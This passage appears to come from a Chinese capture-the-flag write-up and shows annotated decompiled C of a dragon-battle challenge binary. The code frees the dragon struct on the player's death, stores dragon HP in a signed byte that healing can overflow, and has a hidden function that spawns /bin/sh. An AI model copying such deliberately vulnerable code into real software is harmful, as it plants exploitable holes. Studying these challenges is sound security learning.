</span></span><span class="line"><span class="ln">120</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">PrintMonsterInfo</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">121</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">122</span><span class="cl">    <span class="c1">// a1是个结构体指针，第二个属性是区分龙的，也就是a1 + 4
</span></span></span><span class="line"><span class="ln">123</span><span class="cl">    <span class="c1">// 非0是龙母，返回第三个属性
</span></span></span><span class="line"><span class="ln">124</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">125</span><span class="cl">    <span class="k">return</span> <span class="nf">printf</span><span class="p">(</span><span class="n">Str_MamaDragon</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">126</span><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="ln">127</span><span class="cl">      <span class="c1">// 是龙宝也返回第三个属性
</span></span></span><span class="line"><span class="ln">128</span><span class="cl">    <span class="k">return</span> <span class="nf">printf</span><span class="p">(</span><span class="n">Str_BabyDragon</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">
</span></span><span class="line"><span class="ln">131</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">PrintPlayerInfo</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln">134</span><span class="cl">	<span class="c1">// a1也是结构体，第一个属性决定输出内容
</span></span></span><span class="line"><span class="ln">135</span><span class="cl">    <span class="c1">// 1就打印法师的二、三属性
</span></span></span><span class="line"><span class="ln">136</span><span class="cl">    <span class="c1">// 2就打印骑士第二个属性
</span></span></span><span class="line"><span class="ln">137</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">a1</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">138</span><span class="cl">    <span class="k">return</span> <span class="nf">printf</span><span class="p">(</span><span class="n">Str_Priest</span><span class="p">,</span> <span class="n">a1</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">a1</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">139</span><span class="cl">  <span class="n">result</span> <span class="o">=</span> <span class="o">*</span><span class="n">a1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">140</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">a1</span> <span class="o">==</span> <span class="mi">2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">    <span class="k">return</span> <span class="nf">printf</span><span class="p">(</span><span class="n">Str_Knight</span><span class="p">,</span> <span class="n">a1</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">
</span></span><span class="line"><span class="ln">145</span><span class="cl"><span class="c1">// 法师的攻击函数
</span></span></span><span class="line"><span class="ln">146</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">PriestAttack</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="n">_DWORD</span> <span class="o">*</span><span class="n">ptr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">  <span class="kt">int</span> <span class="n">Choice</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln">149</span><span class="cl">
</span></span><span class="line"><span class="ln">150</span><span class="cl">  <span class="k">do</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl">    <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">*</span><span class="p">)(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">))</span><span class="o">*</span><span class="n">ptr</span><span class="p">)(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">153</span><span class="cl">    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">**</span><span class="p">)(</span><span class="kt">int</span><span class="p">))(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">12</span><span class="p">))(</span><span class="n">a1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">154</span><span class="cl">    <span class="n">Choice</span> <span class="o">=</span> <span class="nf">GetChoice</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">    <span class="k">switch</span> <span class="p">(</span> <span class="n">Choice</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">            <span class="c1">// 2技能，清晰术，蓝条回满，被龙打一下，伤害是ptr[3]
</span></span></span><span class="line"><span class="ln">158</span><span class="cl">            <span class="c1">// 龙还能回血，值是ptr+9
</span></span></span><span class="line"><span class="ln">159</span><span class="cl">            <span class="c1">// 说明法师结构体第三属性是蓝条，第二属性是血条
</span></span></span><span class="line"><span class="ln">160</span><span class="cl">      <span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Clarity! Your Mana Has Been Refreshed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">        <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="mi">50</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">163</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;But The Dragon Deals %d Damage To You!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">3</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">164</span><span class="cl">        <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">-=</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">165</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;And The Dragon Heals %d HP!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">166</span><span class="cl">        <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+=</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">167</span><span class="cl">        <span class="k">goto</span> <span class="n">LABEL_11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">168</span><span class="cl">            <span class="c1">// 3技能，圣盾，蓝量大于24触发
</span></span></span><span class="line"><span class="ln">169</span><span class="cl">            <span class="c1">// 消耗25的蓝量，本回合啥也没干，龙还是回血
</span></span></span><span class="line"><span class="ln">170</span><span class="cl">      <span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">171</span><span class="cl">        <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">24</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">172</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">173</span><span class="cl">          <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;HolyShield! You Are Temporarily Invincible...&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">174</span><span class="cl">          <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;But The Dragon Heals %d HP!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">175</span><span class="cl">          <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+=</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">176</span><span class="cl">          <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">-=</span> <span class="mi">25</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">177</span><span class="cl">          <span class="k">goto</span> <span class="n">LABEL_11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">178</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">179</span><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">180</span><span class="cl">            <span class="c1">// 1技能，蓝量大于9触发
</span></span></span><span class="line"><span class="ln">181</span><span class="cl">            <span class="c1">// 消耗10蓝量，打掉龙20滴血
</span></span></span><span class="line"><span class="ln">182</span><span class="cl">            <span class="c1">// 龙打法师ptr[3]的血量
</span></span></span><span class="line"><span class="ln">183</span><span class="cl">            <span class="c1">// 龙还能回血
</span></span></span><span class="line"><span class="ln">184</span><span class="cl">      <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">185</span><span class="cl">        <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">186</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">187</span><span class="cl">          <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Holy Bolt Deals %d Damage To The Dragon!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">20</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">188</span><span class="cl">          <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">-=</span> <span class="mi">20</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">189</span><span class="cl">          <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">-=</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">190</span><span class="cl">          <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;But The Dragon Deals %d Damage To You!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">3</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">191</span><span class="cl">          <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">-=</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">192</span><span class="cl">          <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;And The Dragon Heals %d HP!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">193</span><span class="cl">          <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+=</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">9</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">194</span><span class="cl">          <span class="k">goto</span> <span class="n">LABEL_11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">195</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">196</span><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">197</span><span class="cl">      <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">198</span><span class="cl">        <span class="k">goto</span> <span class="n">LABEL_11</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">199</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">200</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Not Enough MP!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">201</span><span class="cl">      <span class="c1">//每个会合结束，都会到这个label下面
</span></span></span><span class="line"><span class="ln">202</span><span class="cl">      <span class="c1">// 判断是否有血量，没有就free ptr结构体
</span></span></span><span class="line"><span class="ln">203</span><span class="cl"><span class="nl">LABEL_11</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">204</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">205</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">206</span><span class="cl">      <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">207</span><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">208</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">209</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">210</span><span class="cl">    <span class="c1">// 全部执行完，释放龙
</span></span></span><span class="line"><span class="ln">211</span><span class="cl">  <span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln">212</span><span class="cl">  <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">213</span><span class="cl">  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">214</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">215</span><span class="cl">
</span></span><span class="line"><span class="ln">216</span><span class="cl"><span class="c1">// 骑士攻击
</span></span></span><span class="line"><span class="ln">217</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">KnightAttack</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">218</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">219</span><span class="cl">  <span class="kt">int</span> <span class="n">Choice</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln">220</span><span class="cl">
</span></span><span class="line"><span class="ln">221</span><span class="cl">  <span class="k">do</span>
</span></span><span class="line"><span class="ln">222</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">223</span><span class="cl">    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">**</span><span class="p">)(</span><span class="kt">char</span> <span class="o">*</span><span class="p">))</span><span class="n">ptr</span><span class="p">)(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">224</span><span class="cl">    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">**</span><span class="p">)(</span><span class="kt">int</span><span class="p">))(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">12</span><span class="p">))(</span><span class="n">a1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">225</span><span class="cl">    <span class="n">Choice</span> <span class="o">=</span> <span class="nf">GetChoice</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">226</span><span class="cl">      <span class="c1">// 1技能，龙扣20血
</span></span></span><span class="line"><span class="ln">227</span><span class="cl">      <span class="c1">// 骑士扣ptr+3的血量
</span></span></span><span class="line"><span class="ln">228</span><span class="cl">      <span class="c1">// 龙回ptr+9的血
</span></span></span><span class="line"><span class="ln">229</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">Choice</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">230</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">231</span><span class="cl">      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Crash Deals %d Damage To The Dragon!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">20</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">232</span><span class="cl">      <span class="n">ptr</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">-=</span> <span class="mi">20</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">233</span><span class="cl">      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;But The Dragon Deals %d Damage To You!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">3</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">234</span><span class="cl">      <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">-=</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">235</span><span class="cl">      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;And The Dragon Heals %d HP!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">9</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">236</span><span class="cl">      <span class="n">ptr</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">+=</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">9</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">237</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">238</span><span class="cl">      <span class="c1">// 2技能，龙扣40滴血
</span></span></span><span class="line"><span class="ln">239</span><span class="cl">      <span class="c1">// 骑士扣20滴血
</span></span></span><span class="line"><span class="ln">240</span><span class="cl">      <span class="c1">// 龙打骑士ptr+3的血量
</span></span></span><span class="line"><span class="ln">241</span><span class="cl">      <span class="c1">// 龙回ptr+9的血
</span></span></span><span class="line"><span class="ln">242</span><span class="cl">    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">Choice</span> <span class="o">==</span> <span class="mi">2</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">243</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">244</span><span class="cl">      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Frenzy Deals %d Damage To The Dragon!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">40</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">245</span><span class="cl">      <span class="n">ptr</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">-=</span> <span class="mi">40</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">246</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;But You Also Lose 20 HP...&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">247</span><span class="cl">      <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">-=</span> <span class="mi">20</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">248</span><span class="cl">      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;And The Dragon Deals %d Damage To You!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">3</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">249</span><span class="cl">      <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">-=</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">250</span><span class="cl">      <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Plus The Dragon Heals %d HP!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">9</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">251</span><span class="cl">      <span class="n">ptr</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">+=</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">9</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">252</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">253</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">254</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">255</span><span class="cl">      <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">256</span><span class="cl">      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">257</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">258</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">259</span><span class="cl">  <span class="k">while</span> <span class="p">(</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln">260</span><span class="cl">  <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">261</span><span class="cl">  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">262</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">263</span><span class="cl">
</span></span><span class="line"><span class="ln">264</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">SecretLevel</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">265</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">266</span><span class="cl">  <span class="kt">char</span> <span class="n">s1</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span> <span class="c1">// [esp+12h] [ebp-16h] BYREF
</span></span></span><span class="line"><span class="ln">267</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [esp+1Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln">268</span><span class="cl">
</span></span><span class="line"><span class="ln">269</span><span class="cl">  <span class="n">v2</span> <span class="o">=</span> <span class="nf">__readgsdword</span><span class="p">(</span><span class="mh">0x14u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">270</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Welcome to Secret Level!</span><span class="se">\n</span><span class="s">Input Password : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">271</span><span class="cl">    <span class="c1">// 输入最多十个字符
</span></span></span><span class="line"><span class="ln">272</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%10s&#34;</span><span class="p">,</span> <span class="n">s1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">273</span><span class="cl">    <span class="c1">// 必进if分支，因为strcmp相同才返回0，这里绝不相同
</span></span></span><span class="line"><span class="ln">274</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="nf">strcmp</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="s">&#34;Nice_Try_But_The_Dragons_Won&#39;t_Let_You!&#34;</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">275</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">276</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Wrong!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">277</span><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">278</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">279</span><span class="cl">  <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">280</span><span class="cl">  <span class="k">return</span> <span class="nf">__readgsdword</span><span class="p">(</span><span class="mh">0x14u</span><span class="p">)</span> <span class="o">^</span> <span class="n">v2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">281</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
